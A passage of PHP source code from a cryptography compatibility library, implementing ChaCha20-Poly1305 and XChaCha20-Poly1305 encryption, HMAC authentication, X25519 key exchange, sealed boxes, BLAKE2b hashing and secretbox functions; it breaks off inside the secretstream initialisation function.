    /**
     * AEAD Encryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $len - self::aead_chacha20poly1305_IETF_ABYTES,
            self::aead_chacha20poly1305_IETF_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr(
            $message,
            0,
            $len - self::aead_chacha20poly1305_IETF_ABYTES
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf)));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws TypeError
     */
    public static function auth($message, $key)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            hash_hmac('sha512', $message, $key, true),
            0,
            32
        );
    }

    /**
     * HMAC-SHA-512-256 validation. Constant-time via hash_equals().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Core_Util::hashEquals(
            $mac,
            self::auth($message, $key)
        );
    }

    /**
     * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($plaintext, $nonce, $keypair)
    {
        $c = self::secretbox(
            $plaintext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
        return $c;
    }

    /**
     * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($message, $publicKey)
    {
        /** @var string $ephemeralKeypair */
        $ephemeralKeypair = self::box_keypair();

        /** @var string $ephemeralSK */
        $ephemeralSK = self::box_secretkey($ephemeralKeypair);

        /** @var string $ephemeralPK */
        $ephemeralPK = self::box_publickey($ephemeralKeypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair - The combined keypair used in crypto_box() */
        $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);

        /** @var string $ciphertext Ciphertext + MAC from crypto_box */
        $ciphertext = self::box($message, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
            ParagonIE_Sodium_Compat::memzero($ephemeralSK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $ephemeralKeypair = null;
            $ephemeralSK = null;
            $nonce = null;
        }
        return $ephemeralPK . $ciphertext;
    }

    /**
     * Opens a message encrypted via box_seal().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($message, $keypair)
    {
        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32);

        /** @var string $ciphertext (ciphertext + MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32);

        /** @var string $secretKey */
        $secretKey = self::box_secretkey($keypair);

        /** @var string $publicKey */
        $publicKey = self::box_publickey($keypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair */
        $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);

        /** @var string $m */
        $m = self::box_open($ciphertext, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($secretKey);
            ParagonIE_Sodium_Compat::memzero($ephemeralPK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $secretKey = null;
            $ephemeralPK = null;
            $nonce = null;
        }
        return $m;
    }

    /**
     * Used by crypto_box() to get the crypto_secretbox() key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_beforenm($sk, $pk)
    {
        return ParagonIE_Sodium_Core_HSalsa20::hsalsa20(
            str_repeat("\x00", 16),
            self::scalarmult($sk, $pk)
        );
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @return string
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_keypair()
    {
        $sKey = random_bytes(32);
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seed_keypair($seed)
    {
        $sKey = ParagonIE_Sodium_Core_Util::substr(
            hash('sha512', $seed, true),
            0,
            32
        );
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     * @throws TypeError
     */
    public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey)
    {
        return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) .
            ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_secretkey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_publickey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_publickey_from_secretkey($sKey)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
            );
        }
        return self::scalarmult_base($sKey);
    }

    /**
     * Decrypt a message encrypted with box().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($ciphertext, $nonce, $keypair)
    {
        return self::secretbox_open(
            $ciphertext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * Calculate a BLAKE2b hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string|null $key
     * @param int $outlen
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash($message, $key = '', $outlen = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            /** @var SplFixedArray $k */
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen);
        ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count());

        /** @var SplFixedArray $out */
        $out = new SplFixedArray($outlen);
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Finalize a BLAKE2b hashing context, returning the hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param int $outlen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_final($ctx, $outlen = 32)
    {
        if (!is_string($ctx)) {
            throw new TypeError('Context must be a string');
        }
        $out = new SplFixedArray($outlen);

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $out */
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init($key = '', $outputLength = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @param string $salt
     * @param string $personal
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init_salt_personal(
        $key = '',
        $outputLength = 32,
        $salt = '',
        $personal = ''
    ) {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }
        if (!empty($salt)) {
            $s = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt);
        } else {
            $s = null;
        }
        if (!empty($salt)) {
            $p = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal);
        } else {
            $p = null;
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s, $p);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Update a hashing context for BLAKE2b with $message
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param string $message
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_update($ctx, $message)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        ParagonIE_Sodium_Core_BLAKE2b::update($context, $in, $in->count());

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context);
    }

    /**
     * Libsodium's crypto_kx().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $my_sk
     * @param string $their_pk
     * @param string $client_pk
     * @param string $server_pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash(
            ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) .
            $client_pk .
            $server_pk
        );
    }

    /**
     * ECDH over Curve25519
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult($sKey, $pKey)
    {
        $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * ECDH over Curve25519, using the basepoint.
     * Used to get a secret key from a public key.
     *
     * @param string $secret
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult_base($secret)
    {
        $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * This throws an Error if a zero public key was passed to the function.
     *
     * @param string $q
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function scalarmult_throw_if_zero($q)
    {
        $d = 0;
        for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]);
        }

        /* branch-free variant of === 0 */
        if (-(1 & (($d - 1) >> 8))) {
            throw new SodiumException('Zero public key is not allowed');
        }
    }

    /**
     * XSalsa20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                $subkey
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );
        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES)
        );
        if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                (string) $subkey
            );
        }
        return $m;
    }

    /**
     * XChaCha20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $block0,
            $nonceLast,
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xchacha20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                $nonceLast,
                $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );

        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES)
        );

        if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                (string) $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        return $m;
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_init_push($key)
    {
        # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES);
        $out = random_bytes(24);

        # crypto_core_hchacha20(state->k, out, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20($out, $key);
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($out, 16, 8) . str_repeat("\0", 4)
        );

        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $state->counterReset();

        # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES,
        #        crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        return array(
